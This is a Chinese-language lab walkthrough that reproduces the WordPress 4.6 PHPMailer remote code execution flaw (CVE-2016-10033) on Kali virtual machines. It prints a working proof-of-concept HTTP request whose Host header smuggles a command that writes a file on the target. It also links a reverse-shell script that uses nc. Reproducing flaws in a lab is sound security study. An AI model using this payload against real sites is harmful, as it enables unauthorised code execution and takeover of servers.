reborn
WordPress _v4.6远程代码执行漏洞是PHPMailer漏洞(CVE-2016-10033)在WordPress Core代码的体现,远程攻击者可以利用该漏洞执行代码。
基础环境
1.WordPress _v4.6源码。
2.Kali虚拟机两台,一台搭建web环境靶机,一台作为攻击机。
源码部署过程
环境是LAMP WordPress,这边是直接使用了kali的集成环境,使用其他linux版本的小伙伴也可自行搭建环境。
1.在kali启动apache和mysql服务
sudo /etc/init.d/apache2 start
sudo /etc/init.d/mysql start
2.创建数据库
启用完后在mysql里面创建一个数据库wordpress_db用来存放WordPress产生的数据。
mysql -u root -p #输入密码进入数据库,kaili默认密码为空
mysql > status; #检查联通性
mysql > create database wordpress_db; #创建一个wordpress_db 的数据库
mysql > show databases; #查看数据库
3.下载配置WordPress源码,下面是百度云盘下载地址链接。
链接:http://pan.baidu.com/s/1boWN7HH 密码:ewcm。
下载解压,copy文件至/var/www/html/目录下。
然后我们去访问这个网站,http://ip/wordpress,我本机ip是192.168.159.130。
这时有的机子会提示无法创建wp-config.php文件,我们手动创建wp-config.php,将上图蓝色部分的配置代码复制到wp-config.php文件里,保存之后,回到浏览器点击Run the install。
上图提示我们注册wordpress账号并完成安装。
看到上面Success就是安装成功。
漏洞复现过程
1.WordPress部署成功了,我们访问登陆模块,有一个忘记密码的链接。
开启Burp 代理拦截功能。
为了便于修改攻击请求包,我们将请求包发送到Burp repeater模块。
下面是漏洞PoC HTTP请求:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: host_address(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}} tmp2)
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
user_login=admin&redirect_to=&wp-submit=Get New Password
这个PoC代码的意思是在靶机环境的/tmp目录下创建一个test文件。我们在靶机上查看创建成功与否。
我们可以在/tmp目录看到由www-data用户创建的test文件,说明代码执行成功。基于这个逻辑,我们可以编写一个PoC脚本写入代码来反弹shell。
下面就是编写好的脚本,百度云盘地址:
链接:http://pan.baidu.com/s/1gfmo1wB 密码:cfmr。
将3.sh脚本下载下来放到攻击机的kali上,执行该脚本。我攻击kali的ip是192.168.159.131,靶机是192.168.159.130,过程如下图:
总结
关于漏洞原理,我们可以查看360安全课的文章http://m.bobao.360.cn/news/detail/4146.html 学习,最后的攻击脚本也在原文给出的脚本进行了修改简化,反弹shell的方式利用了nc,另外,攻击机如果不是使用kali而是其他linux版本时,需要确保安装了python的环境。